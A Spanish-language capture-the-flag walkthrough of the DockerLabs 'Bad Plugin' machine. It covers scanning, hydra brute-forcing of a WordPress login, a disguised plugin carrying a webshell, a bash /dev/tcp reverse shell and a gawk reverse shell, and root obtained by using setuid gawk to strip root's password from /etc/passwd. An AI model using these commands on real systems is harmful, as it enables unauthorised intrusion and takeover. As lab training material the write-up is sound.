Post

Bad Plugin - DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
fuzzing de directorios feroxbuster
descubrimiento de tecnologias whatweb y wapalyzer
fuerza bruta login wordpress hydra
gawk Manejando ficheros desde gawk

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX badplugin 172.18.0.2

reporte

Como vemos en el reporte en esta ocasion tenemos solo el 80 http

webprincipal

Vamos a empezar revisando la web manualmente aparentemente no hay nada aprte del error que nos muestra al presionar y en el codigo tampoco , asi que lanzamos feroxbuster.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -u http://192.168.1.100

Obtenemos los directorios wordpress , javascript , phpmyadmin

sindo

Es curioso que cada uno actua de manera distinta en wordpress no lo encuentra pero en la barra de busqueda me tira un dominio escolares.dl , en java me tira forbidden y phpmyadmin el login. Asi que empezaremos añadiendo escolares.dl a /etc/hosts

condo

Ahora que tenemos acceso al dominio vamos a tratar de averiguar con whatweb

whatweb

Al parecer es un wordpress lo corroboramos accediendo a wp-admin.

Si introducimos de user admin y cualquier pass vemos que nos indica que hay un usuario admin por tanto vamos a hacer fuerza bruta contra admin con la herramienta hydra , podemos obtener el formato del post desde la consola de desarollador en cualquier navegador y contruimos la url de ataque.

1
hydra -l admin -P Descargas/rockyou.txt/rockyou.txt  escolares.dl http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Acceder&redirect_to=http%3A%2F%2Fescolares.dl%2Fwordpress%2Fwp-admin%2F&testcookie=1:Error"
parametro que hace ejemplo
-l indicamos el usuario (L para lista de usuarios)  
-P indicamos el diccionario rockyou
http-post-form le indicamos el tipo de peticion a realizar  

Importante confirmar tambien el mensaje de error que nos devuelve la web para saber que estamos haciendo bien la fuerza bruta

Obtenemos el password.

hydra

Una vez dentro del panel y dado que estamos como administrador podriamos hacer desde instalar un pluggin malicioso hasta subir un archivo php que nos de acceso a la maquina en esta version comprueba bastante bien que estmaos subiendo asi que en este caso , vamos a subir un archivo php que nos de acceso a la maquina a traves de un webshell y a subirlo por el administrador de pluggins , dado que es lo unico que he encontrado disponible.

Para ello primero he buscado como son las cabeceras de un plugin de wordpress y he creado un archivo php con el siguiente contenido y en el mismo directorio he puesto una webshell y lo he zipeado para subirlo.

1
2
3
4
5
6
7
8
9
10
11
12
<?php
/**
 * Plugin Name: No License File
 * Plugin URI: https://example.com/no-license-file
 * Description: Este plugin impide el acceso directo al archivo license.txt en WordPress.
 * Version: 1.0.0
 * Author: Tu Nombre
 * Author URI: https://example.com
 * License: GPL2
 * Text Domain: no-license-file
 */
?>

Worpress extrae datos del fichero php que aparenta ser un plugin , a lo mejor solo la webshell zipeada tambien funcionaria pero no lo he probado.

Para subirlo como un plugin cualquiera vamos a Apariencia -> Editor y seleccionamos el archivo zip que hemos creado.

Una vez subido vamos a ruta donde se instalo para ver la webshell y el otro php que no hace nada de hecho ni active el plugin.

subida

webshell

Ahora nos mandamos una reverse shell y empezamos la intrusion

Intrusion

Ojo pq en esta maquina docker nos entrega un ip del tipo 192.168.x.x y si nos lanzamos una rev como de costumbre nunca llegara a nosotros , por tanto debemos lanzar una rev que se quede en escucha en la maquina docker y no en la nuestra.

Nos ponemos a la escucha.

1
nc -lvnp 1188

Y lanzamos la rev desde la webshell apuntando al interfaz puente de docker.

1
bash -c 'exec bash -i &>/dev/tcp/192.168.1.1/1188 <&1'

Estamos dentro y nos encontramos al binario gawk con el bit setuid activado.

1
find / -perm -u=s -type f 2>/dev/null

dentro

Vamos a buscar en searchbins si hay alguna vulnerabilidad conocida para gawk nos da ideas pero lo que he probado me devuelve siempre al user www-data.

1
2
sudo /usr/bin/gawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
<c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Con el siguiente comando he consiguido eliminar la x de root pero no almacanarlo debemos redirigir la salida a traves del propio gawk.

1
/usr/bin/gawk '{sub(/x/, ""); print}' /etc/passwd
1
/usr/bin/gawk -i inplace '{sub(/x/, ""); print}' /etc/passwd

Con este ultimo comando hemos conseguido borrar la x directamente desde gawk y solo nos queda hacer su root y ya tendriamos la maquina hecha.

comando

root

Muchas gracias por leer , a compartir y a practicar hacking etico.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.